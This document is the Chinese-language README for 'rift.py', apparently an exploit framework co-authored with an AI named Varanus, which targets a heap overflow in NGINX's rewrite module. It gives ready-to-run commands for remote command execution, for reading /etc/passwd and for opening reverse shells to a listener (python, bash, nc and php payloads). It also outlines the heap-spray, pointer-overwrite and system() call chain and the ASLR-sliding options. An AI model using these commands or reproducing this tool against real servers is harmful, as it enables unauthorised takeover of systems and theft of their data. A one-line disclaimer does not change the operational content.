作者: Michael Sanji Winaya Prawiradibrata
AI 合著者: Varanus — sahabatku
针对 NGINX 的
ngx_http_rewrite_module的堆缓冲区溢出利用框架。
一个集侦察与利用于一体的工具。零外部依赖。
| 文件 | 描述 |
|---|---|
rift.py | 主工具。 侦察与利用合并在一个脚本中(1026 行)。 |
README.md | 本文档。 |
# 1. 全面侦察 — 检测版本、端点、漏洞、策略
python3 rift.py --target 10.10.10.10 --recon
# 2. 侦察 + 一次性利用
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. 执行命令
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. 反弹 Shell(自动打开监听器)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. 使用 bash 的反弹 Shell(而非 python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. 仅检查是否易受攻击
python3 rift.py --target 10.10.10.10 --check-only
使用 --shell 时,脚本自动:
--shell-type 生成反弹 Shell 载荷--lport 上打开监听器nc -lvnp),回退至 Python 监听器若默认地址失败,脚本自动滑动堆基址 ±5 步 × 0x10000,寻找匹配地址。无需手动设置。
4 种 Shell 载荷类型 — python、bash、nc、php。选择目标上可用的类型。
--recon 执行 5 个阶段:
--output json 用于与其他工具集成或自动解析。
利用目标为具有如下 rewrite + set 配置的 NGINX:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # 长度计算使用 is_args = 0
}
后果:分配的缓冲区过小,URI 转义(3 倍扩展)导致溢出。
1. 堆喷射 ─── POST /spray × 20 → 在堆中植入伪造的 ngx_pool_cleanup_s
2. 触发 ────── GET /api/AAAA...++++... → 通过 URI 转义溢出
3. 破坏 ────── 溢出覆盖相邻池的 cleanup 指针
4. 执行 ────── 池销毁 → 调用 system("command")
rift.py 中修改)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080、--port 443--auto 进行自动 ASLR 滑动--verbose 查看每次尝试的详细信息sudo ufw allow 4444--lhost — 确保本地 IP 正确--shell-type bash 或 --shell-type nc本工具仅用于教育和授权安全测试目的。
未经授权使用系统是违法的。
© 2026 Michael Sanji Winaya Prawiradibrata
AI 合著者:Varanus
| 标志 | 功能 |
|---|
--recon | 全面侦察。 指纹识别 → 信息泄露 → 端点测试 → 工作进程计数 → 策略建议。 |
--auto | 自动侦察 + 利用。 等同于 --recon 后继续利用。 |
--check-only | 快速检查。 检测 NGINX、版本、端点 /api/。 |
--cmd "command" | 通过 system() 执行单条命令。 |
--shell | 反弹 Shell — 自动打开监听器、发送载荷、接收连接。 |
| 标志 | 默认值 | 功能 |
|---|
--port | 80 | 目标端口 |
--lhost | — | 反弹 Shell 的本地 IP(使用 --shell 时必须指定) |
--lport | 4444 | 监听器的本地端口 |
--shell-type | python | 反弹 Shell 载荷:python、bash、nc、php |
--heap-base | 0x555555659000 | 堆基址(覆盖用于绕过 ASLR) |
--libc-base | 0x7ffff77ba000 | libc 基址 |
--tries | 10 | 每个候选地址的尝试次数 |
--verbose / -v | — | 每次尝试的详细输出 |
| 标志 | 功能 |
|---|
--fingerprint | 检测 NGINX 版本、端点、重写模块 |
--leak | 检查信息泄露(错误页面中的内存地址、时间侧信道) |
--test-endpoint | 使用多种载荷测试端点行为 |
--endpoint | 待测试端点的路径(默认为 /api/) |
--generate-exploit | 生成具有目标地址的专用利用脚本 |
--output json | 输出 JSON(机器可读),同时终端输出文本 |
| 常量 | 默认值 | 含义 |
|---|
BODY_LEN | 4000 | 喷射请求体大小(字节) |
N_SPRAY | 20 | 每次尝试的 POST 请求数量 |
LIBC_SYSTEM_OFFSETS | 7 个条目 | 不同发行版下 system() 的偏移量 |
PREREAD_HEAP_OFFSETS | 19 个条目 | 堆偏移候选值 |
DEFAULT_HEAP_BASE | 0x555555659000 | 堆基址(ASLR 关闭时) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | libc 基址(ASLR 关闭时) |